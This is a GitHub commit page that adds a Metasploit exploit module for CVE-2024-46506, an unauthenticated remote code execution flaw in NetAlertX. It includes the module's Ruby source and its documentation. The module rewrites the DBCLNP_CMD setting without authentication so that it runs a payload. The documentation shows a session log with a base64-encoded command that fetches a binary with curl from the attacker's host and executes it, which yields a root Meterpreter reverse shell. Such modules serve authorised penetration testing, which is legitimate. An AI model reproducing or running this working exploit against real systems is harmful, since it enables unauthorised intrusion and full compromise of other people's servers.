Skip to content

Commit 984f0db

Browse files
committed
Land rapid7#19868, NetAlertX RCE module
2 parents 9396e1c + 2db7f4f commit 984f0db

File tree

2 files changed

+267
-0
lines changed

2 files changed

+267
-0
lines changed
Lines changed: 110 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,110 @@
1+
## Vulnerable Application
2+
3+
An attacker can update NetAlertX settings with no authentication, which results in RCE.
4+
5+
The vulnerability affects:
6+
7+
* v23.01.14 <= NetAlertX <= v24.9.12
8+
9+
This module was successfully tested on:
10+
11+
* NetAlertX v24.9.12 installed with Docker on Ubuntu 22.04
12+
13+
14+
### Installation
15+
16+
1. `docker pull jokobsk/netalertx:24.9.12`
17+
18+
2. docker run
19+
```bash
20+
docker run --rm --network=host \
21+
-v /tmp/netalertx:/app/config \
22+
-v /tmp/netalertx:/app/db \
23+
-e TZ=Europe/Berlin \
24+
-e PORT=20211 \
25+
jokobsk/netalertx:24.9.12
26+
```
27+
28+
29+
## Verification Steps
30+
31+
1. Install the application
32+
2. Start msfconsole
33+
3. Do: `use exploit/linux/http/netalertx_rce_cve_2024_46506`
34+
4. Do: `run lhost=<lhost> rhost=<rhost>`
35+
5. You should get a meterpreter
36+
37+
38+
## Options
39+
### WAIT (required)
40+
Wait time (seconds) for the payload to be set. Default is `75`.
41+
42+
### CLEANUP
43+
Restore DBCLNP_CMD to original value after execution. Default is `true`.
44+
45+
46+
## Scenarios
47+
```
48+
msf6 > use exploit/linux/http/netalertx_rce_cve_2024_46506
49+
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
50+
msf6 exploit(linux/http/netalertx_rce_cve_2024_46506) > options
51+
52+
Module options (exploit/linux/http/netalertx_rce_cve_2024_46506):
53+
54+
Name Current Setting Required Description
55+
---- --------------- -------- -----------
56+
CLEANUP true no Restore DBCLNP_CMD to original value after execution
57+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
58+
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
59+
RPORT 20211 yes The target port (TCP)
60+
SSL false no Negotiate SSL/TLS for outgoing connections
61+
VHOST no HTTP server virtual host
62+
WAIT 75 yes Wait time (seconds) for the payload to be set
63+
64+
65+
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
66+
67+
Name Current Setting Required Description
68+
---- --------------- -------- -----------
69+
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
70+
FETCH_DELETE true yes Attempt to delete the binary after execution
71+
FETCH_FILENAME GXIuXvsu no Name to use on remote system when storing payload; cannot contain spaces or slashes
72+
FETCH_SRVHOST no Local IP to use for serving payload
73+
FETCH_SRVPORT 8080 yes Local port to use for serving payload
74+
FETCH_URIPATH no Local URI to use for serving payload
75+
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces
76+
LHOST 192.168.0.12 yes The listen address (an interface may be specified)
77+
LPORT 4444 yes The listen port
78+
79+
80+
Exploit target:
81+
82+
Id Name
83+
-- ----
84+
0 Linux Command
85+
86+
87+
88+
View the full module info with the info, or info -d command.
89+
90+
msf6 exploit(linux/http/netalertx_rce_cve_2024_46506) > run lhost=192.168.56.1 rhost=192.168.56.17
91+
[*] Started reverse TCP handler on 192.168.56.1:4444
92+
[*] Running automatic check ("set AutoCheck false" to disable)
93+
[+] The target appears to be vulnerable. Version 24.9.12 detected.
94+
[*] Sent request to update DBCLNP_CMD to '/bin/bash -c echo${IFS}Y3VybCAtc28gLi9QWHhyY3hFRCBodHRwOi8vMTkyLjE2OC41Ni4xOjgwODAvRy04Zjhua29IMGRUWkdQc052UzIzZztjaG1vZCAreCAuL1BYeHJjeEVEOy4vUFh4cmN4RUQmc2xlZXAgNztybSAtcmYgLi9QWHhyY3hFRA==|base64${IFS}-d|/bin/bash'.
95+
[*] Waiting settings really updated...
96+
[*] Sending stage (3045380 bytes) to 192.168.56.17
97+
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.17:57510) at 2025-02-10 21:57:30 +0900
98+
[*] Added the payload to the queue. Waiting for the payload to run...
99+
[*] Sent request to update DBCLNP_CMD to 'python3 /app/front/plugins/db_cleanup/script.py pluginskeephistory={pluginskeephistory} hourstokeepnewdevice={hourstokeepnewdevice} daystokeepevents={daystokeepevents} pholuskeepdays={pholuskeepdays}'.
100+
101+
meterpreter > getuid
102+
Server username: root
103+
meterpreter > sysinfo
104+
Computer : 192.168.56.17
105+
OS : (Linux 6.8.0-51-generic)
106+
Architecture : x64
107+
BuildTuple : x86_64-linux-musl
108+
Meterpreter : x64/linux
109+
meterpreter >
110+
```
Lines changed: 157 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,157 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
prepend Msf::Exploit::Remote::AutoCheck
11+
include Msf::Exploit::Retry
12+
13+
def initialize(info = {})
14+
super(
15+
update_info(
16+
info,
17+
'Name' => 'Unauthenticated RCE in NetAlertX',
18+
'Description' => %q{
19+
An attacker can update NetAlertX settings with no authentication, which results in RCE.
20+
},
21+
'Author' => [
22+
'Chebuya (Rhino Security Labs)', # Vulnerability discovery and PoC
23+
'Takahiro Yokoyama' # Metasploit module
24+
],
25+
'License' => MSF_LICENSE,
26+
'References' => [
27+
['CVE', '2024-46506'],
28+
['URL', 'https://rhinosecuritylabs.com/research/cve-2024-46506-rce-in-netalertx/'],
29+
# ['URL', 'https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2024-46506'], Not published (yet?)
30+
],
31+
'DefaultOptions' => {
32+
'FETCH_DELETE' => true,
33+
'WfsDelay' => 150
34+
},
35+
'Platform' => %w[linux],
36+
'Targets' => [
37+
[
38+
'Linux Command', {
39+
'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd
40+
}
41+
],
42+
],
43+
'DefaultTarget' => 0,
44+
'Payload' => {
45+
'BadChars' => ' \'\\'
46+
},
47+
'DisclosureDate' => '2025-01-30',
48+
'Notes' => {
49+
'Stability' => [ CRASH_SAFE, ],
50+
'SideEffects' => [ CONFIG_CHANGES, ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
51+
'Reliability' => [ REPEATABLE_SESSION, ]
52+
}
53+
)
54+
)
55+
56+
register_options(
57+
[
58+
Opt::RPORT(20211),
59+
OptInt.new('WAIT', [ true, 'Wait time (seconds) for the payload to be set', 75 ]),
60+
OptBool.new('CLEANUP', [false, 'Restore DBCLNP_CMD to original value after execution', true])
61+
]
62+
)
63+
register_advanced_options(
64+
[
65+
OptString.new('Base64Decoder', [true, 'The binary to use for base64 decoding', 'base64-short', %w[base64-short] ])
66+
]
67+
)
68+
end
69+
70+
def check
71+
res = send_request_cgi({
72+
'method' => 'GET',
73+
'uri' => normalize_uri(target_uri.path, 'maintenance.php')
74+
})
75+
return Exploit::CheckCode::Unknown unless res&.code == 200
76+
77+
html_document = res&.get_html_document
78+
return Exploit::CheckCode::Unknown('Failed to get html document.') if html_document.blank?
79+
80+
version_element = html_document.xpath('//div[text()="Installed version"]//following-sibling::*')
81+
return Exploit::CheckCode::Unknown('Failed to get version element.') if version_element.blank?
82+
83+
version = Rex::Version.new(version_element.text&.strip&.sub(/^v/, ''))
84+
return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('23.01.14'), Rex::Version.new('24.9.12'))
85+
86+
Exploit::CheckCode::Appears("Version #{version} detected.")
87+
end
88+
89+
def exploit
90+
# Command is split by space character, and executed by the following Python code:
91+
# subprocess.check_output(command, universal_newlines=True, stderr=subprocess.STDOUT, timeout=(set_RUN_TIMEOUT))
92+
# https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/server/plugin.py#L206
93+
# https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/server/plugin.py#L214
94+
cmd = "/bin/sh -c #{payload.encode}"
95+
update_settings(cmd, '*')
96+
# Not updated immediately
97+
print_status('Waiting for the settings to be properly updated...')
98+
retry_until_truthy(timeout: datastore['WAIT']) do
99+
check_settings(cmd)
100+
end
101+
add_to_execution_queue('run|DBCLNP')
102+
add_to_execution_queue('cron_restart_backend')
103+
print_status('Added the payload to the queue. Waiting for the payload to run...')
104+
end
105+
106+
def update_settings(cmd, sche)
107+
res = send_request_cgi({
108+
'method' => 'POST',
109+
'uri' => normalize_uri(target_uri.path, 'php/server/util.php'),
110+
'vars_post' => {
111+
'function' => 'savesettings',
112+
'settings' => [
113+
['DBCLNP', 'DBCLNP_RUN', 'string', 'schedule'],
114+
['DBCLNP', 'DBCLNP_CMD', 'string', cmd],
115+
['DBCLNP', 'DBCLNP_RUN_SCHD', 'string', "#{sche} * * * *"],
116+
].to_json
117+
}
118+
})
119+
fail_with(Failure::Unknown, 'Failed to update settings.') unless res&.code == 200
120+
print_status("Sent request to update DBCLNP_CMD to '#{cmd}'.")
121+
end
122+
123+
def add_to_execution_queue(cmd)
124+
res = send_request_cgi({
125+
'method' => 'POST',
126+
'uri' => normalize_uri(target_uri.path, 'php/server/util.php'),
127+
'vars_post' => {
128+
'function' => 'addToExecutionQueue',
129+
'action' => "#{SecureRandom.uuid}|#{cmd}"
130+
}
131+
})
132+
fail_with(Failure::Unknown, 'Failed to add the payload to the queue.') unless res&.code == 200
133+
end
134+
135+
def check_settings(cmd)
136+
res = send_request_cgi({
137+
'method' => 'GET',
138+
'uri' => normalize_uri(target_uri.path, 'api/table_settings.json')
139+
})
140+
return unless res&.code == 200
141+
142+
res.get_json_document['data']&.detect { |row| row['Code_Name'] == 'DBCLNP_CMD' && row['Value'] == cmd }
143+
end
144+
145+
def cleanup
146+
super
147+
148+
if datastore['CLEANUP']
149+
# Default settings, isn't usually changed.
150+
# https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/front/plugins/db_cleanup/config.json#L92
151+
update_settings(
152+
'python3 /app/front/plugins/db_cleanup/script.py pluginskeephistory={pluginskeephistory} hourstokeepnewdevice={hourstokeepnewdevice} daystokeepevents={daystokeepevents} pholuskeepdays={pholuskeepdays}',
153+
'*/30'
154+
)
155+
end
156+
end
157+
end

0 commit comments

Comments
 (0)